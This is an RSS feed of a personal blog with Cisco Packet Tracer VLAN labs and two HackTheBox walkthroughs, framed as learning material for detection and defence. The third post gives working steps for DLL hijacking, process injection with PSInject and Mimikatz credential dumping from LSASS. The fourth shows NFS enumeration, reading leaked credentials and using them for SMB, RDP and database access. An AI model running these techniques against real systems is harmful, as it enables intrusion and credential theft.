<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[rhythmndev]]></title><description><![CDATA[rhythmndev]]></description><link>https://zainabakinlawon.hashnode.dev</link><generator>RSS for Node</generator><lastBuildDate>Fri, 13 Nov 2026 18:31:28 GMT</lastBuildDate><atom:link href="https://zainabakinlawon.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Building a Secure VLAN Network with Inter-VLAN Routing in Cisco Packet Tracer]]></title><description><![CDATA[Designing and configuring a functional network in Cisco Packet Tracer is one of the best ways to understand how real-world networks operate. In this guide…]]></description><link>https://zainabakinlawon.hashnode.dev/building-a-secure-vlan-network-with-inter-vlan-routing-in-cisco-packet-tracer</link><guid isPermaLink="true">https://zainabakinlawon.hashnode.dev/building-a-secure-vlan-network-with-inter-vlan-routing-in-cisco-packet-tracer</guid><dc:creator><![CDATA[Zainab Akinlawon]]></dc:creator><pubDate>Sat, 11 Apr 2026 12:34:33 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6562c09a6026c62ad070cfc4/3eb6c82f-7475-40a4-a81b-4369f9d6189d.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Designing and configuring a functional network in <strong>Cisco Packet Tracer</strong> is one of the best ways to understand how real-world networks operate. In this guide, I’ll walk you through how to build a structured network with VLAN segmentation, inter-VLAN routing, and secure remote access using SSH.</p>
<p>I started by creating a simple physical topology consisting of 1 router, 1 switch, and 3 PCs.</p>
<p>I connected the <strong>router → switch</strong> using a <em>straight-through cable and c</em>onnected each <strong>PC → switch</strong> using <em>straight-through cables.</em></p>
<h3>On the switch</h3>
<pre><code class="language-plaintext">enable
configure terminal
hostname SW1
ip domain-name lab.local
no ip domain-lookup
</code></pre>
<h3>VLAN configuration on the switch</h3>
<pre><code class="language-plaintext">vlan 10
name USERS
vlan 20
name VOICE
vlan 99
name MANAGEMENT
</code></pre>
<h3>I assigned ports:</h3>
<pre><code class="language-plaintext">interface range fa0/1 - 3
switchport mode access
switchport access vlan 10
exit

interface fa0/10
switchport mode access
switchport access vlan 99
exit
</code></pre>
<h3>Configure trunk port:</h3>
<pre><code class="language-plaintext">interface fa0/24
switchport mode trunk
switchport trunk allowed vlan 10,20,99
</code></pre>
<h3>On the router</h3>
<pre><code class="language-plaintext">enable
configure terminal
hostname R1
ip domain-name lab.local
no ip domain-lookup
</code></pre>
<p>To allow communication between VLANs, I configured subinterfaces on the router.</p>
<pre><code class="language-plaintext">interface g0/0
no shutdown

interface g0/0.10
encapsulation dot1Q 10
ip address 192.168.10.1 255.255.255.0

interface g0/0.20
encapsulation dot1Q 20
ip address 192.168.20.1 255.255.255.0

interface g0/0.99
encapsulation dot1Q 99
ip address 192.168.99.1 255.255.255.0
</code></pre>
<h3>To secure remote access with SSH, on the switch, I ran;</h3>
<pre><code class="language-plaintext">username admin privilege 15 secret xxxxxxx
crypto key generate rsa
! choose 1024 or 2048
ip ssh version 2

line vty 0 4
login local
transport input ssh

line console 0
password cisco
login
</code></pre>
<h3>On the router, I ran;</h3>
<pre><code class="language-plaintext">username admin privilege 15 secret ******
crypto key generate rsa
ip ssh version 2

line vty 0 4
login local
transport input ssh

line console 0
password cisco
login
</code></pre>
<h3>Trunk port adjustment and default route configuration</h3>
<pre><code class="language-plaintext">interface FastEthernet0/1
switchport mode trunk
ip route 0.0.0.0 0.0.0.0 10.0.0.1
</code></pre>
<h3>Verification and connectivity testing</h3>
<pre><code class="language-plaintext">show vlan brief
show interfaces trunk
show ip route
ping 192.168.10.1
ping 192.168.20.1
ping 192.168.99.1
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Designing a Structured LAN for a Small IT Consulting Office]]></title><description><![CDATA[In this lab, I was tasked with designing the first structured LAN for a small IT consulting office. The objective was to create a clean and scalable…]]></description><link>https://zainabakinlawon.hashnode.dev/designing-a-structured-lan-for-a-small-it-consulting-office</link><guid isPermaLink="true">https://zainabakinlawon.hashnode.dev/designing-a-structured-lan-for-a-small-it-consulting-office</guid><dc:creator><![CDATA[Zainab Akinlawon]]></dc:creator><pubDate>Tue, 17 Mar 2026 18:35:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6562c09a6026c62ad070cfc4/7d72b4c7-f389-4dae-bd9b-547fb5764106.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this lab, I was tasked with designing the first structured LAN for a small IT consulting office. The objective was to create a clean and scalable network baseline that future labs could build upon. The key focus areas were:</p>
<ul>
<li><p>Creating a clear IPv4 addressing plan</p>
</li>
<li><p>Implementing basic VLAN segmentation</p>
</li>
<li><p>Applying consistent device naming</p>
</li>
<li><p>Ensuring the network design could scale as the office grows</p>
</li>
</ul>
<p>To implement the design, I used Cisco Packet Tracer to build a simple logical topology consisting of:</p>
<ul>
<li><p>1 Edge Router (for internet connectivity)</p>
</li>
<li><p>1 Access Switch</p>
</li>
<li><p>2 PCs</p>
</li>
<li><p>1 Printer</p>
</li>
</ul>
<p>The router acts as the gateway to external networks, while the switch connects internal devices within the LAN.</p>
<hr />
<h1>Network Topology</h1>
<p>The network follows a basic router-on-a-stick architecture, where a single router interface routes traffic for multiple VLANs.</p>
<pre><code class="language-plaintext">Internet
   │
Router
   │ (Trunk Link)
Switch
 ├── PC (User)
 ├── PC (Management)
 └── Printer
</code></pre>
<hr />
<h1>Step 1: Configuring the Switch</h1>
<p>The first task was to configure the access switch.</p>
<p>I started by assigning a hostname to make device identification easier when managing the network. After that, I created the VLANs required for the network.</p>
<p>VLANs allow different types of traffic to be logically separated even though they share the same physical network.</p>
<p>Example VLAN structure:</p>
<table>
<thead>
<tr>
<th>VLAN</th>
<th>Purpose</th>
</tr>
</thead>
<tbody><tr>
<td>VLAN 10</td>
<td>Users</td>
</tr>
<tr>
<td>VLAN 20</td>
<td>Voice</td>
</tr>
<tr>
<td>VLAN 99</td>
<td>Management</td>
</tr>
</tbody></table>
<hr />
<h1>Step 2: Configuring the Edge Router</h1>
<p>Next, I configured the edge router, which serves as the gateway for the entire network.</p>
<p>The router needed to support inter-VLAN routing, allowing devices in different VLANs to communicate with each other while maintaining network segmentation.</p>
<p>To achieve this, I implemented Router-on-a-Stick.</p>
<p>Router-on-a-stick allows a single physical router interface to handle traffic for multiple VLANs by using subinterfaces and 802.1Q VLAN tagging.</p>
<p>Each VLAN was assigned its own subnet, while the router provided the default gateway for each network.</p>
<hr />
<h1>Step 3: Creating Router Subinterfaces</h1>
<p>Inside the router CLI, I created <strong>subinterfaces</strong> for each VLAN.</p>
<p>Each subinterface was configured with an IP address that serves as the default gateway for that VLAN</p>
<p>Example configuration:</p>
<pre><code class="language-plaintext">interface g0/0.10
 encapsulation dot1Q 10
 ip address 192.168.10.1 255.255.255.0
</code></pre>
<p>This allows devices in VLAN 10 to send traffic to the router when communicating with other networks.</p>
<hr />
<h1>Step 4: Configuring the Switch Trunk</h1>
<p>To allow the router to receive traffic from all VLANs, I configured a trunk link between the switch and the router.</p>
<p>A trunk port carries multiple VLANs across a single connection.</p>
<p>Example configuration on the switch:</p>
<pre><code class="language-plaintext">interface fa0/1
switchport mode trunk
switchport trunk allowed vlan 10,20,99
</code></pre>
<p>This trunk link allows the router to receive tagged VLAN traffic and perform inter-VLAN routing.</p>
<hr />
<h1>Step 5: Enabling the Router Interface</h1>
<p>After configuring the subinterfaces, I enabled the physical router interface so that it could process VLAN-tagged traffic.</p>
<pre><code class="language-plaintext">interface g0/0
no shutdown
</code></pre>
<p>Without enabling the interface, the router would not be able to communicate with the switch.</p>
<hr />
<h1>Step 6: Configuring End Devices</h1>
<p>Next, I configured the PCs with:</p>
<ul>
<li><p><strong>IP Address</strong></p>
</li>
<li><p><strong>Subnet Mask</strong></p>
</li>
<li><p><strong>Default Gateway</strong></p>
</li>
</ul>
<p>Example configuration for a user PC:</p>
<table>
<thead>
<tr>
<th>Setting</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>IP Address</td>
<td>192.168.10.10</td>
</tr>
<tr>
<td>Subnet Mask</td>
<td>255.255.255.0</td>
</tr>
<tr>
<td>Default Gateway</td>
<td>192.168.10.1</td>
</tr>
</tbody></table>
<p>This allows the PC to communicate with devices within its VLAN and reach other networks through the router.</p>
<hr />
<h1>Step 7: Enabling Secure Remote Management (SSH)</h1>
<p>To improve network management, I enabled <strong>SSH remote access</strong> on the network devices.</p>
<p>This involved:</p>
<ol>
<li><p>Setting the device domain name</p>
</li>
<li><p>Generating RSA encryption keys</p>
</li>
<li><p>Creating a local user account</p>
</li>
<li><p>Configuring the VTY lines to allow SSH</p>
</li>
</ol>
<p>SSH allows administrators to securely manage network devices remotely instead of relying only on console access.</p>
<hr />
<h1>Why These VLANs and Subnets Were Chosen</h1>
<p>The VLAN IDs and subnet structure were selected to create logical separation of network traffic.</p>
<p>Benefits include:</p>
<ul>
<li><p><strong>Improved security</strong> – management traffic is isolated from user traffic</p>
</li>
<li><p><strong>Better network performance</strong> – reduced broadcast domains</p>
</li>
<li><p><strong>Scalability</strong> – new departments or services can be added easily</p>
</li>
<li><p><strong>Simpler troubleshooting</strong> – network segments are clearly defined</p>
</li>
</ul>
<p>This type of structure is commonly used in <strong>real-world enterprise and small office networks</strong>.</p>
<hr />
<h1>Troubleshooting and Verification</h1>
<p>During the lab, several commands were useful for verifying the configuration.</p>
<table>
<thead>
<tr>
<th>Command</th>
<th>Purpose</th>
</tr>
</thead>
<tbody><tr>
<td><code>show vlan brief</code></td>
<td>Verify VLAN creation and port assignment</td>
</tr>
<tr>
<td><code>show interfaces trunk</code></td>
<td>Confirm trunk configuration</td>
</tr>
<tr>
<td><code>show ip interface brief</code></td>
<td>Verify router interface status</td>
</tr>
<tr>
<td><code>show ip route</code></td>
<td>Display routing table</td>
</tr>
<tr>
<td><code>show mac address-table</code></td>
<td>Confirm device connectivity</td>
</tr>
</tbody></table>
<p>A systematic troubleshooting approach helped identify configuration issues quickly.</p>
<hr />
<h1>Key Lessons Learned</h1>
<p>This lab reinforced several important networking concepts:</p>
<h3>VLAN Segmentation</h3>
<p>Separating network traffic into VLANs improves security, performance, and manageability.</p>
<h3>Inter-VLAN Routing</h3>
<p>Using router subinterfaces allows multiple VLANs to communicate through a single router interface.</p>
<h3>Structured Troubleshooting</h3>
<p>Effective troubleshooting requires verifying:</p>
<ul>
<li><p>Physical connectivity</p>
</li>
<li><p>VLAN configuration</p>
</li>
<li><p>Trunk links</p>
</li>
<li><p>Router interfaces</p>
</li>
<li><p>IP addressing</p>
</li>
</ul>
<h3>Default Routing</h3>
<p>The router must have a default route to forward traffic to external networks such as the internet.</p>
<hr />
<h1>Future Improvements</h1>
<p>While this design works well for a small office, future labs could improve the network by adding:</p>
<ul>
<li><p>Gateway redundancy using protocols like HSRP or VRRP</p>
</li>
<li><p>Layer 3 switching for faster inter-VLAN routing</p>
</li>
<li><p>Multiple switches to eliminate single points of failure</p>
</li>
<li><p>Access control lists (ACLs) for improved security</p>
</li>
</ul>
<p>These improvements would increase reliability, scalability, and network resilience.</p>
<hr />
<h1>Final Thoughts</h1>
<p>Even a small office network benefits from <strong>structured design principles</strong>. Implementing VLAN segmentation, a clear IP addressing plan, and proper device configuration creates a network that is easier to manage and expand.</p>
<p>This lab demonstrated how foundational networking concepts, such as VLANs, inter-VLAN routing, and secure device management, form the basis of reliable real-world network deployments.</p>
]]></content:encoded></item><item><title><![CDATA[Analyzing Evil with Sysmon: A Step-by-Step Guide to DLL Hijacking, Unmanaged PowerShell, and Credential Dumping (HTB Walkthrough)]]></title><description><![CDATA[In this guide, I will walk you through three common attack techniques from the HackTheBox “Windows Event Logs & Finding Evil” module and learn how to…]]></description><link>https://zainabakinlawon.hashnode.dev/analyzing-evil-with-sysmon-a-step-by-step-guide-to-dll-hijacking-unmanaged-powershell-and-credential-dumping-htb-walkthrough</link><guid isPermaLink="true">https://zainabakinlawon.hashnode.dev/analyzing-evil-with-sysmon-a-step-by-step-guide-to-dll-hijacking-unmanaged-powershell-and-credential-dumping-htb-walkthrough</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[#HackTheBox]]></category><category><![CDATA[hacking]]></category><category><![CDATA[technology]]></category><category><![CDATA[information security]]></category><category><![CDATA[Security]]></category><category><![CDATA[DevSecOps]]></category><dc:creator><![CDATA[Zainab Akinlawon]]></dc:creator><pubDate>Wed, 10 Dec 2025 09:00:32 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1765324035885/3cffe4cf-ade0-40af-a7a1-a78aad6981df.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this guide, I will walk you through three common attack techniques from the <strong>HackTheBox “Windows Event Logs &amp; Finding Evil”</strong> module and learn how to identify their traces using <strong>Sysmon</strong>. Each section includes:</p>
<ul>
<li><p>What the technique is</p>
</li>
<li><p>Why it works</p>
</li>
<li><p>Exact steps to replicate it</p>
</li>
<li><p>How to extract the required hash</p>
</li>
</ul>
<hr />
<h1 id="heading-1-dll-hijacking-extract-the-sha256-hash-of-wininetdll"><strong>1. DLL Hijacking — Extract the SHA256 Hash of</strong> <code>WININET.dll</code></h1>
<h2 id="heading-what-you-are-doing"><strong>What You Are Doing</strong></h2>
<p>You will perform a DLL hijacking attack against <code>calc.exe</code>. The goal is to make <code>calc.exe</code> load a malicious DLL and then retrieve the SHA256 hash of that DLL.</p>
<h2 id="heading-why-this-works"><strong>Why This Works</strong></h2>
<p>Windows follows a predictable <strong>DLL search order</strong>. If an executable finds a DLL with the right name in its working directory, it will load that version even if it is malicious.</p>
<hr />
<h2 id="heading-step-by-step-instructions"><strong>Step-by-Step Instructions</strong></h2>
<h3 id="heading-verify-sysmon-installation"><strong>Verify Sysmon Installation</strong></h3>
<p>Open PowerShell and check whether Sysmon is running:</p>
<pre><code class="lang-plaintext">Get-Service Sysmon
</code></pre>
<p>If it is not installed, run:</p>
<pre><code class="lang-plaintext">sysmon.exe -i -accepteula -h md5,sha256,imphash -l -n
</code></pre>
<hr />
<h3 id="heading-prepare-the-malicious-dll-environment"><strong>Prepare the Malicious DLL Environment</strong></h3>
<p>Copy <code>calc.exe</code> to your desktop:</p>
<p>Copy the reflective DLL:</p>
<p>Rename it to match the DLL that <code>calc.exe</code> will load:</p>
<hr />
<h3 id="heading-execute-the-hijack"><strong>Execute the Hijack</strong></h3>
<p>Run <code>calc.exe</code> from your desktop.</p>
<p>If the hijack is successful, you will not see the calculator. Instead, the payload will display a textbox.</p>
<hr />
<h3 id="heading-retrieve-the-sha256-hash"><strong>Retrieve the SHA256 Hash</strong></h3>
<p>Run:</p>
<pre><code class="lang-plaintext">Get-FileHash "$env:USERPROFILE\Desktop\WININET.dll" -Algorithm SHA256
</code></pre>
<p>Save the hash output, this is your answer.</p>
<hr />
<h1 id="heading-2-unmanaged-powershell-injection-extract-sha256-hash-of-clrjitdll"><strong>2. Unmanaged PowerShell Injection — Extract SHA256 Hash of</strong> <code>clrjit.dll</code></h1>
<h2 id="heading-what-you-are-doing-1"><strong>What You Are Doing</strong></h2>
<p>You will inject PowerShell code into the <code>spoolsv.exe</code> process using PSInject, then identify the <code>clrjit.dll</code> file it loads and extract its SHA256 hash.</p>
<h2 id="heading-why-this-works-1"><strong>Why This Works</strong></h2>
<p>Unmanaged PowerShell allows attackers to run PowerShell <strong>in memory</strong>, inside a legitimate process, without spawning a standard PowerShell.exe instance. This is harder to detect.</p>
<hr />
<h2 id="heading-step-by-step-instructions-1"><strong>Step-by-Step Instructions</strong></h2>
<h3 id="heading-identify-the-spoolsvexe-process"><strong>Identify the</strong> <code>spoolsv.exe</code> Process</h3>
<p>Open <strong>Process Hacker 2</strong>.<br />Search for <code>spoolsv.exe</code> and note its <strong>Process ID (PID)</strong>.</p>
<hr />
<h3 id="heading-load-and-prepare-psinject"><strong>Load and Prepare PSInject</strong></h3>
<p>Go to the PSInject folder:</p>
<pre><code class="lang-plaintext">cd C:\Tools\PSInject
</code></pre>
<p>Start PowerShell with execution policy bypass:</p>
<pre><code class="lang-plaintext">powershell -ep bypass
</code></pre>
<p>Import the module:</p>
<pre><code class="lang-plaintext">Import-Module .\Invoke-PSInject.ps1
</code></pre>
<hr />
<h3 id="heading-inject-powershell-code"><strong>Inject PowerShell Code</strong></h3>
<pre><code class="lang-plaintext">Invoke-PSInject -ProcId &lt;ProcessID&gt; -PoshCode "V3JpdGUtSG9zdCAiSGVsbG8sIEd1cnU5OSEi"
</code></pre>
<p>Check Process Hacker, <code>spoolsv.exe</code> should now appear as a <strong>managed process</strong>.</p>
<hr />
<h3 id="heading-locate-clrjitdll"><strong>Locate</strong> <code>clrjit.dll</code></h3>
<p>Open Process Hacker → Properties → Modules.<br />Find <strong>clrjit.dll</strong> and copy its file path.</p>
<p><strong>Extract the SHA256 Hash</strong></p>
<p>Run:</p>
<pre><code class="lang-plaintext">Get-FileHash "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll" -Algorithm SHA256
</code></pre>
<p>Record the output; this is your answer.</p>
<hr />
<h1 id="heading-3-credential-dumping-with-mimikatz-extract-the-administrator-ntlm-hash"><strong>3. Credential Dumping with Mimikatz — Extract the Administrator NTLM Hash</strong></h1>
<h2 id="heading-what-you-are-doing-2"><strong>What You Are Doing</strong></h2>
<p>You will run Mimikatz to extract the <strong>NTLM hash of the administrator account</strong> from memory.</p>
<h2 id="heading-why-this-works-2"><strong>Why This Works</strong></h2>
<p>Mimikatz exploits the fact that Windows stores credential material in LSASS memory. Sysmon can detect these memory-access patterns using Event ID 10.</p>
<hr />
<h2 id="heading-step-by-step-instructions-2"><strong>Step-by-Step Instructions</strong></h2>
<h3 id="heading-navigate-to-the-mimikatz-directory"><strong>Navigate to the Mimikatz Directory</strong></h3>
<pre><code class="lang-plaintext">cd C:\Tools\Mimikatz
ls
</code></pre>
<hr />
<h3 id="heading-2-execute-the-mimikatz-agent"><strong>2. Execute the Mimikatz Agent</strong></h3>
<pre><code class="lang-plaintext">.\AgentEXE.exe
</code></pre>
<p>Inside the Mimikatz console, elevate privileges:</p>
<pre><code class="lang-plaintext">privilege::debug
</code></pre>
<p>Dump credentials:</p>
<pre><code class="lang-plaintext">sekurlsa::logonpasswords
</code></pre>
<p>Look for the <strong>Administrator</strong> section and note the <strong>NTLM hash</strong>.</p>
<hr />
<h1 id="heading-final-notes"><strong>Final Notes</strong></h1>
<p>By completing these exercises, you’ve learnt how to:</p>
<ul>
<li><p>Exploit DLL search order weaknesses</p>
</li>
<li><p>Perform in-memory PowerShell injection</p>
</li>
<li><p>Extract credentials directly from LSASS</p>
</li>
<li><p>Use Sysmon to observe execution artefacts</p>
</li>
</ul>
<p>Understanding of these techniques shows us how attackers operate at the system level and prepares you to create effective detections and respond to real-world threats.</p>
]]></content:encoded></item><item><title><![CDATA[HackTheBox Lab Walkthrough]]></title><description><![CDATA[A beginner-friendly walkthrough of a HackTheBox lab, covering Windows server enumeration, capturing credentials, and practicing real-world cybersecurity…]]></description><link>https://zainabakinlawon.hashnode.dev/hackthebox-lab-walkthrough</link><guid isPermaLink="true">https://zainabakinlawon.hashnode.dev/hackthebox-lab-walkthrough</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[#HackTheBox]]></category><category><![CDATA[technology]]></category><category><![CDATA[Ethical Hacking]]></category><category><![CDATA[hacking]]></category><category><![CDATA[DevSecOps]]></category><dc:creator><![CDATA[Zainab Akinlawon]]></dc:creator><pubDate>Thu, 27 Nov 2025 12:08:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1764244463755/f3835568-d495-418c-9332-3ff3c9363724.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-1-scanning-the-target-ip"><strong>1.</strong> Scanning the target IP</h2>
<pre><code class="lang-plaintext">sudo nmap 10.129.92.78 -sV -sC
</code></pre>
<h3 id="heading-findings"><strong>Findings:</strong></h3>
<ul>
<li><p>OS: <strong>Windows 10</strong></p>
</li>
<li><p>Open Ports: <code>111, 135, 139, 445, 2049, 3389</code></p>
</li>
<li><p>Services detected: <strong>RPC</strong>, <strong>SMB</strong>, <strong>NFS</strong>, <strong>RDP</strong></p>
</li>
</ul>
<hr />
<h2 id="heading-2-enumerating-nfs"><strong>2. Enumerating NFS</strong></h2>
<p>Since NFS (Network File System) was open, I used Nmap’s NFS scripts:</p>
<pre><code class="lang-plaintext">sudo nmap --script nfs* 10.129.92.78 -sV -p111,2049
</code></pre>
<p>Then double-checked with:</p>
<pre><code class="lang-plaintext">showmount -e 10.129.92.78
</code></pre>
<h3 id="heading-result"><strong>Result:</strong></h3>
<ul>
<li><p>The machine exported a folder named <strong>/TechSupport</strong></p>
</li>
<li><p><strong>Anonymous read access</strong> was allowed</p>
</li>
</ul>
<p>This is a vulnerability, allowing anonymous users to read exported files can leak sensitive internal data.</p>
<hr />
<h2 id="heading-3-mounting-the-nfs-share-locally"><strong>3. Mounting the NFS Share Locally</strong></h2>
<p>First, create a directory to mount the share:</p>
<pre><code class="lang-plaintext">mkdir local-nfs
</code></pre>
<p>Then, mount the exported folder:</p>
<pre><code class="lang-plaintext">sudo mount -t nfs 10.129.16.56:/TechSupport ./local-nfs/ -o nolock
</code></pre>
<p>This let me browse <strong>/TechSupport</strong> as if it were part of my local filesystem.</p>
<blockquote>
<p>Note: Mounting requires root permissions because it interacts with kernel-level filesystem structures.</p>
</blockquote>
<hr />
<h2 id="heading-4-reading-internal-support-files"><strong>4. Reading Internal Support Files</strong></h2>
<p>Once mounted, I listed the available files:</p>
<pre><code class="lang-plaintext">cd local-nfs
ls
</code></pre>
<p>Most files were text-based support tickets. I concatenated all contents to scan for interesting information:</p>
<pre><code class="lang-plaintext">cat *
</code></pre>
<h3 id="heading-success"><strong>Success:</strong></h3>
<p>I found <strong>credentials for the user "alex"</strong> inside these files.</p>
<hr />
<h2 id="heading-5-enumerating-smb-with-retrieved-credentials"><strong>5. Enumerating SMB with Retrieved Credentials</strong></h2>
<p>Using alex’s credentials:</p>
<pre><code class="lang-plaintext">smbclient -L //10.129.16.56 -U alex%password
</code></pre>
<p>I discovered a share and downloaded a file named “important.txt“. This file contained another set of credentials, which I saved - likely belonging to a privileged service or database account.</p>
<hr />
<h2 id="heading-6-logging-into-the-machine-via-rdp"><strong>6. Logging into the Machine via RDP</strong></h2>
<p>Using the credentials from the NFS share, I logged into the Windows machine through RDP:</p>
<ul>
<li><p>Username: <strong>alex</strong></p>
</li>
<li><p>Password: <em>(from earlier)</em></p>
</li>
</ul>
<p>Once logged in, I noticed an <strong>MSSQL Server</strong> icon on the desktop.</p>
<hr />
<h2 id="heading-7-accessing-the-mssql-database"><strong>7. Accessing the MSSQL Database</strong></h2>
<p>I launched MSSQL as an administrator and authenticated using the credentials from <code>important.txt</code>.</p>
<p>Inside the database:</p>
<ul>
<li><p>Navigated to the accounts table (<code>dbo.devsacc</code>)</p>
</li>
<li><p>Used the <strong>"Edit Top 200 Rows"</strong> option</p>
</li>
</ul>
<h3 id="heading-final-result"><strong>Final Result:</strong></h3>
<p>I obtained the credentials for the <strong>HTB</strong> user — the required proof for completing the lab.</p>
<hr />
<h2 id="heading-key-takeaways"><strong>🟩 Key Takeaways</strong></h2>
<ul>
<li><p>Misconfigured <strong>NFS shares</strong> can leak sensitive internal credentials.</p>
</li>
<li><p>Combining small pieces of leaked information can often give full access.</p>
</li>
<li><p><strong>Scan → Enumerate → Access → Escalate</strong>.</p>
</li>
</ul>
<hr />
<h2 id="heading-if-you-found-this-helpful"><strong>💬 If You Found This Helpful</strong></h2>
<p>Feel free to like, bookmark, or share the post.<br />Follow me here on Hashnode as I continue documenting my cybersecurity journey — from labs to real-world concepts.</p>
]]></content:encoded></item></channel></rss>